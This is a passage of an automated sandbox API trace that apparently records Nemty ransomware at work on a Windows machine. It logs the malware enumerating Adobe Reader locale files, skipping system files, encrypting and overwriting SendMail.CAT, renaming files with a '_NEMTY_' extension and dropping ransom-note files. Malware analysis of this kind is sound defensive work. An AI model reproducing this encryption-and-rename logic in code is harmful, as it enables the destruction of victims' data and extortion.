RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0173.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.810] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat._nemty_kgobjgd_")) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.811] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2=".") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="..") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="...") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="windows") returned -1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="rsa") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="NTDETECT.COM") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="ntldr") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="MSDOS.SYS") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="IO.SYS") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="boot.ini") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="boot.ini") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="ntuser.dat") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="desktop.ini") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="CONFIG.SYS") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="RECYCLER") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="bootmgr") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="programdata") returned 1 [0173.811] lstrcmpiW (lpString1="SendMail.CAT", lpString2="appdata") returned 1 [0173.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.812] Sleep (dwMilliseconds=0x5) [0173.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b3f5cf0, dwHighDateTime=0x1d561e8)) [0173.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b3f5cf0, dwHighDateTime=0x1d561e8)) [0173.813] GetLastError () returned 0x0 [0173.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.813] GetLastError () returned 0x0 [0173.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.813] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.813] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.813] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.814] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="kqe/kV86J6aFnaiGfe5JVj9J6o50Zx9Lb89cW51lYdDDr0YVwlBLMegC6/J9f75L\r\nkP9x6kSFo/VyYyR6tbR0dfISXUrsPwpvXZGihUJMV/tKy1WE9JvF2MGk4q04lS6G\r\nrbkrneDxudc67+dMRkS1GLatuk5at4ibjsbXoFrX+5VbqGn0MUTjiJ2xrG39Xx2y\r\nys48R1XlzXLCQ7HHEtDm2pLykhH7p3ZjY5cEApwjAUGvC0SZ4fP0HRn6F1wjDuQm\r\nSkgxK0UPW63lgNzjbwZz7TArY2iJXg+u0P6LFsyN5HIOu0jymxIFVlII9hCIhyb8\r\n4bdRfAsWzNTac8+f6yCsqA==\r\n", pcchString=0x653e5dc) returned 1 [0173.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.815] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16896) returned 1 [0173.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4200) returned 0x6352c48 [0173.815] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.815] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4200, lpOverlapped=0x0) returned 1 [0173.817] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.817] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4200, lpOverlapped=0x0) returned 1 [0173.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.818] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4200 [0173.818] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.818] CloseHandle (hObject=0x2e8) returned 1 [0173.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.818] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat._nemty_kgobjgd_")) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.819] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0173.819] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0173.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0173.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0173.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.822] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.822] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.823] CloseHandle (hObject=0x2e8) returned 1 [0173.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0173.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.824] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.824] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0173.825] CloseHandle (hObject=0x2e8) returned 1 [0173.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.825] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1b3f5cf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b3f5cf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0173.825] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.825] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1b3f5cf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b3f5cf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.826] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.826] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.826] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, 